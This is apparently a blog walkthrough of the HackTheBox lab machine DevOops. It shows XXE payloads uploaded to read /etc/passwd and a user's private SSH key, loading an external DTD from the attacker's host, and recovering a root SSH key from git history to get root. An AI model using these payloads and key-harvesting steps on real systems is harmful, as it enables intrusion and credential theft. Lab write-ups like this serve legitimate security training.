Devops

2020-03-24 00:00:00 +0000

dev0ops1

DevOops is another ‘more challenging’ than OSCP boxes from TJNull’s list.

nmap first.

Nmap

nmap -sV -Pn --min-rate 10000 -p- 10.10.10.91 |tee -a devoops.txt

Nmap scan report for 10.10.10.91
Host is up (0.11s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn 19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  


port5000

Gobuster

gobuster dir -u http://10.10.10.91:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.py,.txt,.asp,.aspx,.sh

/feed seems to show a png with info about aws.

feed


/upload may be a possible vector of attack.

upload

I make a test.xml file to upload, to see if it will work.


<note>
<Author>sh1n0bi</Author>
<Subject>testes</Subject>
<Content>testes...testes...1...2...3???</Content>
</note>

The result is reflected on the webpage. xml-upload


make evil.xml:


<!--?xml version="1.0" ?-->
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://10.10.14.24/1.dtd">%remote;%int;%trick;]>
<note>
<Author>&b;</Author>
<Subject>sh1n</Subject>  
<Content>Reminder</Content>
</note>

This will call 1.dtd from Kali through the python webserver

python3 -m http.server 80

contents of 1.dtd:

<p class="p1"><!ENTITY b SYSTEM "file:///etc/passwd" ></p>

500 server error....didnt work....

Create mal.xml, this one doesn’t require 1.dtd


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
        <Author>foo</Author>
        <Subject>HTB</Subject>
        <Content>&xxe;</Content>
</creds>

The result was not entirely what was expected:

malxml


We’ve ended up with a private id_rsa key, likely for user roosa mentioned in the filepath.

Copy its contents as rsa_key

chmod 600 rsa_key

Then try to ssh into the target as roosa.

ssh -i rsa_key roosa@10.10.10.91

It works! we now have roosa’s shell…and the user flag.

ssh-roosa

roosa@gitter:~$ cat user.txt
c5xxxxxxxxxxxxxxxxxxxxxxxxxxxx7b
roosa@gitter:~$ 

Privilege Escalation

The .bash_history is readable


roosa@gitter:~$ cat .bash_history
ssh-keygen --help
ssh-keygen 
ls -altr .ssh/
cat .ssh/id_rsa.pub 
nano /etc/host
nano /etc/hostname 
sudo nano /etc/hostname 
exit
nano .ssh/id_rsa.pub 
exit
ssh git@localhost
exit
ssh git@localhost
clear
apt-get upgrade
exit
ls -altr
mkdir work
cd work
mkdir blogfeed
git init
git add .
git commit -m 'initial commit'
git config --global user.email "roosa@solita.fi"
git config --global user.name "Roosa Hakkerson"
git commit -m 'initial commit'
nano README-MD
nano README-md
nano README.md
git add README.md 
git commit -m 'initial commit'
git remote add origin git@localhost:/srv/git/blogfeed.git
git push origin master
exit
ps -Af
kill 27499
exit
sudo su -
exit
groups
exit
git push origin master
cd work/blogfeed/
git push origin master
cd ..
cd blogfeed/
cd ..
git add README.md 
git commit -m 'Initial commit'
git push
git log 
ls 
nano integration/auth_credentials.key/
ls -altr
chmod go-rwx authcredentials.key 
ls -atlr
cd ..
ls -altr
chmod -R o-rwx .
ls -altr
ls resources/
ls resources/integration/
ls -altr resources/
ls -altr resources/integration/
rm -Rf resources/integration/auth_credentials.key
mv resources/authcredentials.key resources/integration/
git add resources/integration/authcredentials.key 
git commit -m 'add key for feed integration from tnerprise backend'
ls -altr resources/integration/
git push
ssh-keygen
ös -altr
ls .altr
ls -altr
cat kak
cp kak resources/integration/authcredentials.key 
git add resources/integration/authcredentials.key 
git commit -m 'reverted accidental commit with proper key'
git push
ls -altr
rm kak
rm kak.pub 
git log

<--snip-->

Besides running the gunicorn.sh file (which runs the webservice), the user seems to work a lot with git.

There’s a work folder in the user’s home directory, and another inside called blogfeed.

It also seems that the user generated new authentication keys.

cd work/blogfeed

git log -p

The log is long, and reveals another private ssh key.

gitkey

My experience of git is very limited, but it looks like the key with each line preceeded with a minus (-) is being replaced with that whose lines start with pluses (+)

It also helps that my terminal has the outgoing as coloured red and the incomming as green.

I copypaste the green key to Kali, and remove the + in each line…

I follow the same proceedure as before…saving the file this time as rkey

chmod 600 rkey

use it to login via ssh as root:

ssh -i rkey root@10.10.10.91

rootssh

Getting the root flag is a simple formality from here.


:)